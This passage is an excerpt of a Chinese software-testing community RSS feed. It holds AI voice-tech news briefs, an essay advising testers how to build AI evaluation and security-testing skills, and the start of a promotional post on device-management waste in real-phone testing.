&lt;p&gt;&lt;strong&gt;2、音频智能公司 Noiz 完成数千万元种子轮融资：AudioX 构建声学模型底座，探索声音物理信息建模&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src="https://oscimg.oschina.net/oscnet/up-381aef9cebf12eab22ce8503fbd08f057e1.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;音频智能公司 Noiz AI 已完成数千万元种子轮融资，投资方包括金沙江创投、北极光创投和英诺天使基金。公司以自研开源音频模型底座 AudioX 为核心，尝试让模型从声音生成与识别扩展到对声音产生、传播和感知过程的理解。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;AudioX 作为通用音频模型底座：&lt;/strong&gt; Noiz 将模型能力应用于语音、音乐、音效、视频配音和声音编辑等任务，并通过 API 与系统集成形式接入内容平台、视频生产工具和企业工作流。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;AudioX-Turbo 面向更快的音频生成：&lt;/strong&gt; 团队于今年 6 月发布 AudioX-Turbo，用于降低无声视频生成声音时的等待时间，让脚步、碰撞、运动等声音事件更贴近画面中的发生时刻。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;训练数据引入声音背后的物理条件：&lt;/strong&gt; Noiz 正采集包含空间结构、材质、距离、方向、混响和声源位置等信息的数据，同时结合物理声学仿真和产品端用户反馈构建训练数据。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;向空间音频与具身智能拓展：&lt;/strong&gt; Noiz 正将声音模型用于 3D 场景，根据几何结构、材质、距离和听者位置生成匹配的空间声场，并已与一家具身智能公司合作进行声音事件识别与模型适配。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;C 端产品作为模型迭代数据来源：&lt;/strong&gt; Noiz AI 面向海外创作者提供音频生成和编辑能力，目前全球用户已突破 200 万，用户生成、编辑、保留和付费行为被用于模型优化。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://mp.weixin.qq.com/s?__biz=MzkwMDQ2NDU2Nw==&amp;amp;mid=2247517918&amp;amp;idx=1&amp;amp;sn=b977323fc5e6dd69406bfc5489f0a2a3&amp;amp;scene=21&amp;amp;version=5.0.8.99856&amp;amp;platform=mac#wechat_redirect" rel="nofollow" target="_blank" title=""&gt;获金沙江数千万元种子融资，音频模型 Noiz 要挖掘声音背后的物理信息｜智能涌现融资首发&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;（@ 智能涌现）&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3、keybodhi 开源 Aoi VR Agent：在 SteamVR 手部面板接入语音智能体，支持流式 TTS 与同声传译&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src="https://oscimg.oschina.net/oscnet/up-1c9c0ebb1a92b4482c3b98ba9c5bdf27b93.gif" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;Aoi VR Agent 是一个面向 SteamVR 的开源 AI 语音助手，通过附着在右手控制器上的 OpenVR overlay 提供交互界面，并由本地原生 C++ 智能体驱动。用户可直接在 VR 中进行 LLM 语音对话、查看环境截图、翻译系统音频或控制部分系统设置。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;原生 C++20 智能体运行在 Unity 进程内：&lt;/strong&gt;&lt;code&gt;aoi_agent.dll&lt;/code&gt; 集成 LLM 客户端、TTS、ASR、DSP 和工具调用，智能体循环设计为不阻塞 Unity 渲染线程。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;语音对话接入 OpenAI 兼容 LLM：&lt;/strong&gt; 支持流式推理与流式 TTS，并提供 prompt 缓存和用量统计等能力。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;支持 VR 环境感知与同声传译：&lt;/strong&gt; 智能体可按需获取 VR 截图，并可选开启持续视觉和系统音频转写；同声传译功能可实时翻译系统音频。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;OpenVR overlay 直接附着于手柄：&lt;/strong&gt; 手板面板支持激光/射线输入和桌面镜像，同时可调整 Windows 应用级音量与 VR 亮度。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;提供预编译版本与桌面模式：&lt;/strong&gt; Release 包可直接运行，除 SteamVR overlay 模式外，还提供无需头显的桌面预览和无需 API key 的 Demo 模式。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://github.com/keybodhi/AoiVR" rel="nofollow" target="_blank"&gt;https://github.com/keybodhi/AoiVR&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;( &lt;a href="/keybodhi" class="user-mention" title="@keybodhi"&gt;&lt;i&gt;@&lt;/i&gt;keybodhi&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4、AMNESIAC 展示反向图灵测试 AI 审讯游戏：MiniCPM-o 4.5 驱动对话，VoxCPM 生成角色语音&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;开发者 Hetansh Waghela 在 BuildSmall Hackathon 中开发 AMNESIAC，通过「让 AI 判断用户是否为人类」反转传统图灵测试。游戏中的 AI 审讯者 A.M.N。 会结合摄像头和麦克风获取的面部表情、脉搏信号与回答时间，持续调整后续提问。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;MiniCPM-o 4.5 负责理解与实时对话生成：&lt;/strong&gt; 模型处理用户回答，并根据交互过程生成后续审讯内容。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;VoxCPM 用于生成 AI 审讯者语音：&lt;/strong&gt; 项目通过自定义语音数据集进行 LoRA 微调，塑造偏冷静、临床感的角色声音风格。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;结合面部分析与生物信号调整交互：&lt;/strong&gt; 系统在设备端分析面部信息，并结合脉搏信号和用户响应时间，用于构建审讯过程中的反馈信号。&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;将视觉感知、语言理解与语音生成组合为角色交互：&lt;/strong&gt; AMNESIAC 将 MiniCPM-o 与 VoxCPM 接入同一互动流程，让 AI 角色根据用户反应持续进行多模态交互。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://huggingface.co/spaces/build-small-hackathon/amnesiac" rel="nofollow" target="_blank"&gt;https://huggingface.co/spaces/build-small-hackathon/amnesiac&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;(&lt;a href="/HetanshWaghela" class="user-mention" title="@HetanshWaghela"&gt;&lt;i&gt;@&lt;/i&gt;HetanshWaghela&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5、Qoder Voice 上线：开口就能共事的实时语音伙伴&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;真正的动嘴编程来了：Qoder Voice 上线&lt;/p&gt;

&lt;p&gt;你有没有过这种时刻：脑子里方案已经跑完三轮，手指还在键盘上敲第一句话。&lt;/p&gt;

&lt;p&gt;Qoder Voice 要解决的就是这个时差。你说，它听，它答——不用等你写完一整段提示词，也不用把话组织成"标准句式"。想到哪说到哪，说错了直接打断重来，像跟一个反应快、能陪聊、也能找到解决方案的同事。&lt;/p&gt;

&lt;p&gt;Qoder Voice 的声纹识别，就是给这件事上了把锁。开启后，它先认得你的声音，再决定要不要回应。开放工位、会议间隙、地铁站台、楼上还在装修的家——环境可以很吵，但它的注意力只在你身上。&lt;/p&gt;

&lt;p&gt;欢迎在 Qoder 国际版和 CN 版 Quest 模式里体验 Qoder Voice！&lt;/p&gt;
&lt;h2 id="03 有态度的观点"&gt;&lt;strong&gt;03 有态度的观点&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;1、Replit CEO：AI 并没有杀死编程，它让软件工程变得更「以人为本」&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src="https://oscimg.oschina.net/oscnet/up-4c7d453e3a86f2b65367eee4a3f3826df30.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;Replit CEO Amjad Masad 近日在科技记者 Casey Newton 的播客节目中表示，AI 正在让 Replit 内部的软件工程工作变得更加「以人为本」，编码智能体将工程师从高强度敲码中解放出来，转向更具创造力的工作。&lt;/p&gt;

&lt;p&gt;Masad 提到，两年前公司里的工程师「都在埋头敲键盘，办公室里全是键盘声」，而现在「环境变得更有活力」。他表示，工程师如今花更多时间在白板前构思和讨论，偶尔向 AI 智能体发送下一步指令即可。&lt;/p&gt;

&lt;p&gt;这一表态与业界对「SaaSpocalypse」（SaaS 末日论）的普遍担忧形成对比。今年早些时候，市场曾担忧 AI 将使企业能够自行构建软件、不再依赖专业软件公司，这一预期一度引发软件股抛售。&lt;/p&gt;

&lt;p&gt;与此同时，AI 对软件工程岗位的冲击仍在持续。至少十余家大型公司已将 AI 列为裁员理由之一，工程师们也表示借助 AI 编码虽然效率更高，但容易导致倦怠。今年夏天，Meta 裁减了近 1000 名软件工程师，但 Mark Zuckerberg 将裁员归因于抵消 AI 支出，而非自动化取代人力。&lt;/p&gt;

&lt;p&gt;Masad 透露，Replit 在去年迎来转折点。当时 Anthropic 开始发布 Opus 系列模型，其代码生成能力显著优于此前的模型。Masad 回忆称，自己当时一度觉得「我毕生致力于教人们编程、让编程变得更简单的使命，似乎都失去了意义。」&lt;/p&gt;

&lt;p&gt;此后，Replit 将公司使命从「教人编程」转向「让编程尽可能简单」，并推出了基于自然语言指令生成程序的 AI 智能体，即如今被称为「vibe coding」的模式。&lt;/p&gt;
&lt;h2 id="04 社区黑板报"&gt;&lt;strong&gt;04 社区黑板报&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;招聘、项目分享、求助……任何你想和社区分享的信息，请联系我们投稿。（加微信 creators2022，备注「社区黑板报」）&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1、帮社区的好伙伴 S 创推荐一下路演大赛报名！&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;✨S 创上海 2026 路演大赛 # 二轮评委天团正式解锁✨&lt;/p&gt;

&lt;p&gt;15 位深耕各赛道产业投资人集结～全赛道覆盖配齐专业评审视角&lt;/p&gt;

&lt;p&gt;&lt;img title=":warning:" alt="⚠" src="https://twemoji.ruby-china.com/2/svg/26a0.svg" class="twemoji"&gt;报名倒计时！8 月 12 日 24:00 截止，时间余量不多，别拖到最后！&lt;/p&gt;

&lt;p&gt;戳文解锁评委名单 + 抢占最后报名位&lt;/p&gt;

&lt;p&gt;→与顶流投资团面对面的机会，手慢真无🚀&lt;/p&gt;

&lt;p&gt;&lt;img src="https://oscimg.oschina.net/oscnet/up-0605156b820468dd8b689b836c320cbeb60.jpg" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://mp.weixin.qq.com/s?__biz=Mzg4OTg1OTg4NA==&amp;amp;mid=2247503867&amp;amp;idx=1&amp;amp;sn=ecfde593269575f711dd047e217784a6&amp;amp;scene=21#wechat_redirect" rel="nofollow" target="_blank" title=""&gt;S 创上海 2026｜路演大赛二轮评委嘉宾阵容公布！&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2、活动推荐｜SheNicest 烈变黑客松：1000 人、96 小时、15 万奖金，等你来玩&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;8 月 26 日—30 日，烈变黑客松将在北京开启 96 小时创造。RTE 开发者社区欢迎所有构建实时 AI、Voice Agent、Physical AI 与实时多模态的 Builder 报名，让想法真正跑起来。&lt;/p&gt;

&lt;p&gt;&lt;img src="https://oscimg.oschina.net/oscnet/up-0e52c3c1b26a1e6e5236c7efab1a347eb81.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://mp.weixin.qq.com/s?__biz=MzYzNjIzNjg1NA==&amp;amp;mid=2247487135&amp;amp;idx=1&amp;amp;sn=f65ec747818d68a2812a4def2005b186&amp;amp;scene=21#wechat_redirect" rel="nofollow" target="_blank" title=""&gt;1000 人、96 小时、15 万元奖金｜烈变黑客松选手招募&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src="https://oscimg.oschina.net/oscnet/up-a43c0dd0d68f1705770b43de1ff5c539e3c.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src="https://oscimg.oschina.net/oscnet/up-1419191e06249006b5dae10a31598b975d1.jpg" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.rtecommunity.dev" rel="nofollow" target="_blank" title=""&gt;阅读更多 Voice Agent 学习笔记：了解最懂 AI 语音的头脑都在思考什么&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;写在最后：&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;我们欢迎更多的小伙伴参与 &lt;strong&gt;「RTE 开发者日报」&lt;/strong&gt; 内容的共创，感兴趣的朋友请通过开发者社区或公众号留言联系，记得报暗号「共创」。&lt;/p&gt;

&lt;p&gt;对于任何反馈（包括但不限于内容上、形式上）我们不胜感激、并有小惊喜回馈，例如你希望从日报中看到哪些内容；自己推荐的信源、项目、话题、活动等；或者列举几个你喜欢看、平时常看的内容渠道；内容排版或呈现形式上有哪些可以改进的地方等。&lt;/p&gt;

&lt;p&gt;&lt;img src="https://oscimg.oschina.net/oscnet/up-3ee62bdd11ed486697cfd2afdb2157fe2e6.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;作者提示: 个人观点，仅供参考&lt;/p&gt;</description>
      <author>RTE</author>
      <pubDate>Tue, 11 Aug 2026 23:34:29 +0800</pubDate>
      <link>https://testerhome.com/topics/44610</link>
      <guid>https://testerhome.com/topics/44610</guid>
    </item>
    <item>
      <title>关于 AI 职业发展的建议</title>
      <description>&lt;p&gt;AI 正在改变测试的实施方式和团队的协作方式，但测试的本质并没有消失。变化在于，测试人员不仅要验证功能是否符合预期，还要面对模型输出的波动、上下文依赖、工具调用和安全边界。&lt;/p&gt;

&lt;p&gt;这会带来岗位焦虑，但不必把职业转型理解成一场脱离实际工作的竞赛。对测试人员来说，真正重要的不是会不会写几条提示词，而是能否把 AI 用进当前工作，并判断结果是否可靠。一条能持续走下去的学习路径，可以从工具使用开始，逐步过渡到模型评估和安全测试，最后回到测试工程的基本功。&lt;/p&gt;

&lt;p&gt;学习过程中可以持续阅读研究报告、观察产品演示、了解相关规范和安全议题。但这些输入只有转化为测试任务，才会变成自己的能力。每一步都应留下可复核的过程和结论，而不是只记得某次工具体验的印象。&lt;/p&gt;
&lt;h2 id="从工作开始"&gt;从工作开始&lt;/h2&gt;
&lt;p&gt;最合适的起点不是挑一个看起来炫酷的 AI 演示，而是从手头已有的测试任务里找切入点。需求澄清、测试设计、数据准备、日志分析、结果比较和缺陷报告，都可以成为练习场景。选择任务时，优先挑选输入来源清楚、目标说得明白、最后能人工验证的工作。这样才能知道 AI 到底帮到了哪里。&lt;/p&gt;

&lt;p&gt;对于探索式测试人员，AI 更像研究助理：它可以帮助梳理需求、提出测试思路、识别隐含假设、生成测试数据、分析日志、比较输出和汇总证据。它负责提供候选方向，你负责判断这些方向是否成立。实际使用时，先写清问题背景和已知约束，再让它提出假设或测试角度，避免把模糊问题直接丢给模型。&lt;/p&gt;

&lt;p&gt;对测试工程师来说，Claude Code、GitHub Copilot 一类工具可以协助生成和重构测试、调试失败代码、解释陌生代码，也能用来构建小型实用工具。但生成不等于可用。每次使用后，都要检查生成内容有没有覆盖目标场景、有没有带入错误假设、有没有漏掉失败路径。&lt;/p&gt;

&lt;p&gt;可以用下面这个闭环练习工具能力：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;先提供需求、日志或已有测试等必要上下文，并说明你希望解决的问题。&lt;/li&gt;
&lt;li&gt;再让 AI 给出测试思路、候选数据或代码草稿，但不要直接把输出当成结论。&lt;/li&gt;
&lt;li&gt;然后用已有规则、真实日志或实际运行结果进行人工复核。&lt;/li&gt;
&lt;li&gt;最后记录哪些建议有效、哪些假设错误，以及下次需要补充什么上下文。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;每周选一项真实任务跑完这个闭环。你积累的不是某个工具的熟练度，而是把工具输出转化为可靠测试证据的能力。这也是后续学习模型评估的基础。&lt;/p&gt;
&lt;h2 id="理解模型行为"&gt;理解模型行为&lt;/h2&gt;
&lt;p&gt;传统自动化测试通常面对确定性规则：输入满足条件时，输出应当稳定。AI 系统不同，它会同时受到概率性输出、上下文内容、提示词、模型版本、智能体规划和工具调用的影响。同一任务在不同运行中出现差异，并不一定代表系统出错，但必须纳入测试设计。&lt;/p&gt;

&lt;p&gt;理解这些变化的目的，不是要求每位测试人员都去研究模型底层原理，而是帮助我们提出更有效的测试问题：哪些结果必须稳定，哪些结果允许波动；上下文变化会影响什么；出现幻觉时如何识别；外部内容会不会诱导系统偏离任务；工具执行是否超出了用户意图。&lt;/p&gt;

&lt;p&gt;可以把测试目标拆成两类。第一类是确定性约束，例如敏感操作不能在未获授权时发生，关键字段不能丢失，工具不能超出范围调用。第二类是质量约束，例如回答是否完整、是否遵循上下文、是否覆盖问题核心。前一类更适合定义清晰的通过或失败条件，后一类更需要样本、重复运行和人工判断。&lt;/p&gt;

&lt;p&gt;因此，测试用例不应只记录一个提示词和一个标准答案。还要记录输入、上下文、允许调用的工具、观察到的输出，以及判定依据。条件可追溯后，团队才能判断一次结果差异到底来自模型、上下文变化，还是测试设计本身不完整。&lt;/p&gt;

&lt;p&gt;AI 测试不只验证单次回答，而是验证系统在不同条件下是否仍保持可接受的行为。研究报告、公开案例和产品缺陷，都是培养这类测试直觉的重要素材。&lt;/p&gt;
&lt;h2 id="建立评估方法"&gt;建立评估方法&lt;/h2&gt;
&lt;p&gt;模型评估不是研究人员的专属工作。只要产品把 AI 放进面向用户的流程，测试团队就要回答：什么行为可以接受，什么行为必须拦截，什么情况必须交给人工判断。评估的价值不在于给模型贴上高低分标签，而在于把这些边界变成团队能执行的决策依据。&lt;/p&gt;

&lt;p&gt;一套基础评估方法至少应包含下面几个部分：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
定义可接受行为：把正确性、完整性、安全性和响应边界写成可检查的标准。&lt;/li&gt;
&lt;li&gt;构建测试数据集：覆盖正常请求、模糊输入、边界场景和高风险输入，不只准备几个容易通过的示例。&lt;/li&gt;
&lt;li&gt;
重复运行并观察结果分布：不要因为一次输出正确，就认定模型行为稳定。&lt;/li&gt;
&lt;li&gt;设定失败标准：明确哪些错误可以降级处理，哪些错误需要阻断、回退或人工接管。&lt;/li&gt;
&lt;li&gt;记录评估证据：保留输入、上下文、模型输出、判定结果和复测情况，让结论能够复核。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;实际执行时，可以先为一个小场景建立最小数据集，再逐步补充边界输入和失败样本。每次评估后，把结果分为可接受、需复核和不可接受三类，再回看各自对应的输入条件。这样既能避免一开始就追求过大的评估体系，也能让测试数据和失效标准一起完善。&lt;/p&gt;

&lt;p&gt;人工判断也不是评估失败后的补丁。对于业务风险高、语义高度依赖上下文，或无法用单一规则覆盖的场景，人工判断本来就是控制链路的一部分。关键在于明确谁在什么条件下介入，以及介入后怎样记录结论。&lt;/p&gt;

&lt;p&gt;评估能力决定了我们能否把 AI 从一次性演示带进稳定的业务流程。当评估闭环跑起来，测试团队才能说明模型在什么条件下可信、在什么条件下需要更谨慎地使用。&lt;/p&gt;
&lt;h2 id="把安全纳入测试"&gt;把安全纳入测试&lt;/h2&gt;
&lt;p&gt;AI 系统的风险不只来自回答错误，也来自它拿到了什么上下文、能调用什么工具，以及输出会不会被下游系统直接执行。OWASP 的 LLM 安全资料可以作为起点，但更重要的是把风险转成可执行的测试问题，而不是只记住几个风险名词。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;对提示注入，检查不可信内容能否被系统误当成高优先级指令，并观察它会不会改变后续工具调用。&lt;/li&gt;
&lt;li&gt;对过度授权和工具权限，检查模型是否只能在最小必要范围内调用工具；当请求超出范围时，系统是否能拒绝或转交人工。&lt;/li&gt;
&lt;li&gt;对数据泄露，检查敏感信息是否会通过上下文、日志或回答被带出边界，并检查不同角色是否得到相同的访问结果。&lt;/li&gt;
&lt;li&gt;对不安全的输出处理，检查下游动作是否依赖校验、审批或其他明确的安全控制，而不是直接信任模型输出。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这些测试不能只在上线前做一次。每当模型、提示词、上下文来源或工具权限发生变化，都应重新检查原有的安全假设是否还成立。这样才能把安全从单点检查变成持续关注的测试项。&lt;/p&gt;

&lt;p&gt;安全不是上线前补的一项检查，而应成为测试设计的输入条件。当智能体可以访问工具和数据时，测试范围必须从模型回答扩展到整条执行链路。&lt;/p&gt;
&lt;h2 id="回到测试基本功"&gt;回到测试基本功&lt;/h2&gt;
&lt;p&gt;AI 不会淘汰测试基本功，反而会放大它们的价值。可接受结果的判断标准、覆盖率、基于风险的测试、可测试性、批判性思维和系统思维，仍然决定你能否设计有效测试，并看懂测试结果真正说明了什么。&lt;/p&gt;

&lt;p&gt;面对看似合理的模型输出，先定义可接受结果的判断标准，避免把第一个听起来顺畅的回答当成正确答案。基于风险的测试帮助我们优先覆盖高影响场景，而不是把有限时间平均分给所有输入。可测试性则要求系统保留足够的输入、上下文和执行痕迹，否则即使发现异常，也很难定位问题出在模型、工具还是流程。&lt;/p&gt;

&lt;p&gt;测试证据则帮助我们区分一次偶然成功和可重复的可靠表现。一次通过，可能只是恰好碰上了容易回答的输入；多次运行、不同上下文和不同风险场景下的表现，才能支撑更稳健的判断。最终，测试人员仍要按业务风险报告结论，而不是把模型生成的结果原样交给业务。&lt;/p&gt;

&lt;p&gt;这条学习路径没有终点：先在工作中使用工具，再理解模型行为，建立评估方法，把安全纳入测试，并不断打磨基本功。真正的竞争力，不是离开一线去谈 AI，而是能用 AI 把一线问题做得更扎实。&lt;/p&gt;

&lt;p&gt;相关阅读&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://mp.weixin.qq.com/s/YfpQjD0f9CjkUCRZrQJqLw" rel="nofollow" target="_blank" title=""&gt;AI 写用例之后，测试稀缺能力是什么&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mp.weixin.qq.com/s/3GyW3-UiYRPWbWf7CKTdKA" rel="nofollow" target="_blank" title=""&gt;从 QA 到 QE 的转型挑战&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mp.weixin.qq.com/s/t2iqcgWGsry0fdmy6_4wSg" rel="nofollow" target="_blank" title=""&gt;Claude Code 在 QA 团队的六种落地实践&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mp.weixin.qq.com/s/aHTbwBb9LkzPLWik0QgQRw" rel="nofollow" target="_blank" title=""&gt;看懂 AI 测试工具的四种类型&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mp.weixin.qq.com/s/JVWFhFcFCaigmldkMHAi6A" rel="nofollow" target="_blank" title=""&gt;传统测试不够用了&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;##### FunTester 名片｜万粉千文，百无一用&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://mp.weixin.qq.com/s/o1dGKThvC64LvJDnKLybOw" rel="nofollow" target="_blank" title=""&gt;软件测试的道与术&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mp.weixin.qq.com/s/MFgZ3Btx0TKOd5sFGFDxcg" rel="nofollow" target="_blank" title=""&gt;测试开发成长史&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mp.weixin.qq.com/s/wyyn32HrwmH5uV8F0d2HDQ" rel="nofollow" target="_blank" title=""&gt;AI ，测试有点东西&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mp.weixin.qq.com/s/5ssJH4yOE3H1Vk4ziJ0Bdg" rel="nofollow" target="_blank" title=""&gt;《从 Java 开始性能测试》连载全集&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mp.weixin.qq.com/s/3ilD1fnJFo9Gt8puO7zFiQ" rel="nofollow" target="_blank" title=""&gt;性能测试修炼之道&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mp.weixin.qq.com/s/t2k6IITzaFicaEi77iZ5tA" rel="nofollow" target="_blank" title=""&gt;故障测试与混沌工程实战合集&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mp.weixin.qq.com/s/CSE2UmQNFrHaEnyyM4U41w" rel="nofollow" target="_blank" title=""&gt;我的语言迁徙：Java &amp;amp; Groovy &amp;amp; Go&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <author>Fhaohaizi</author>
      <pubDate>Tue, 11 Aug 2026 22:44:06 +0800</pubDate>
      <link>https://testerhome.com/topics/44609</link>
      <guid>https://testerhome.com/topics/44609</guid>
    </item>
    <item>
      <title># 找设备找到崩溃？聊聊真机测试那些"隐形内耗"，看看你团队中了几个</title>
      <description>&lt;blockquote&gt;
&lt;p&gt;先问大家一个问题：你们团队测试一轮版本，花在"找设备、等设备"上的时间有多少？&lt;/p&gt;
&lt;/blockquote&gt;

&lt;hr&gt;
&lt;h2 id="写在前面"&gt;写在前面&lt;/h2&gt;
&lt;p&gt;不是标题党。先说几个场景，看看你中了几个：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;版本上线前急需一台特定系统版本的机型，挨个工位问、翻遍测试柜，半天过去了&lt;/li&gt;
&lt;li&gt;设备被谁占用、什么时候释放，全靠群里吼一嗓子&lt;/li&gt;
&lt;li&gt;异地同事报了个 bug，你这边复现不了，干等着设备寄过来&lt;/li&gt;
&lt;li&gt;测试截图、录屏、日志散落在各种个人电脑里，合规审计的时候全员翻箱倒柜&lt;/li&gt;
&lt;li&gt;设备上下架、借还记录全靠 Excel，盘点的时候发现对不上&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;如果以上场景你觉得眼熟，那你可能也在被"真机管理"这件事悄悄拖后腿。&lt;/p&gt;

&lt;p&gt;今天想跟测试之家的同学们聊一个话题：&lt;strong&gt;真机测试里那些看不见的内耗，到底有多贵？&lt;/strong&gt; 以及一个可能的破局方向——私有化云真机。&lt;/p&gt;

&lt;hr&gt;
&lt;h2 id="一、四大隐形内耗，你的团队中了几个？"&gt;一、四大隐形内耗，你的团队中了几个？&lt;/h2&gt;
&lt;p&gt;很多团队把精力投在用例设计、自动化建设上，这当然没错。但真机管理本身的低效，正在以一种隐蔽的方式吃掉你的测试周期。我们复盘下来，主要有四类：&lt;/p&gt;
&lt;h3 id="1. 设备碎片化管理：看得见的机型，看不见的等待"&gt;1. 设备碎片化管理：看得见的机型，看不见的等待&lt;/h3&gt;
&lt;p&gt;品牌、系统版本、芯片、屏幕尺寸的碎片化，要求测试团队储备大量真机。但线下分散管理模式下，设备状态永远是黑盒：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;找一台特定机型 → 挨个工位问、翻测试柜&lt;/li&gt;
&lt;li&gt;设备占用状态 → 全靠口头沟通，排期被等待打断&lt;/li&gt;
&lt;li&gt;多部门重复采购同规格机型 → 闲置与紧缺并存&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;仅"找设备、等设备"这一项，就可能拖慢单轮测试周期&lt;strong&gt;30% 以上&lt;/strong&gt;，设备实际利用率不足&lt;strong&gt;40%&lt;/strong&gt;——大量硬件资产在沉睡。&lt;/p&gt;
&lt;h3 id="2. 跨地域协作：复现一个bug，沟通成本翻倍"&gt;2. 跨地域协作：复现一个 bug，沟通成本翻倍&lt;/h3&gt;
&lt;p&gt;异地研发、分布式团队已是常态，但真机的物理属性让协作始终有断点：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;测试发现问题 → 截图、录屏、文字描述传给研发 → 研发难以 1:1 复现&lt;/li&gt;
&lt;li&gt;远程办公时接触不到实体设备 → 关键验证被迫停滞&lt;/li&gt;
&lt;li&gt;跨城市共用设备池 → 线下流转周期长，问题定位极低效&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;很多团队为复现一个偶现 bug，反复邮寄设备、同步环境配置，沟通和等待的时间远超排查本身。&lt;/p&gt;
&lt;h3 id="3. 安全合规：数据散落个人设备，审计步步惊心"&gt;3. 安全合规：数据散落个人设备，审计步步惊心&lt;/h3&gt;
&lt;p&gt;对金融、政企行业，数据安全是红线。传统模式下测试数据、日志、截图、录屏分散在个人设备中，既难统一管控，也有外泄风险。叠加信创建设推进，国产化服务器与现有测试工具的适配难题，让私有化方案更难落地。&lt;/p&gt;

&lt;p&gt;没有统一管控入口、操作无法全程审计、数据不能完全留存本地——这些都是合规审计的硬伤。&lt;/p&gt;
&lt;h3 id="4. 运维追溯：设备全生命周期，不该靠Excel兜底"&gt;4. 运维追溯：设备全生命周期，不该靠 Excel 兜底&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;上下架、借还、维修、报废全靠 Excel → 记录不及时，盘点误差大&lt;/li&gt;
&lt;li&gt;设备过热、离线、异常掉电无预警 → 影响测试稳定性，还有物理安全隐患&lt;/li&gt;
&lt;li&gt;关键操作无审计留痕 → 出问题难追溯，内控成本高&lt;/li&gt;
&lt;/ul&gt;

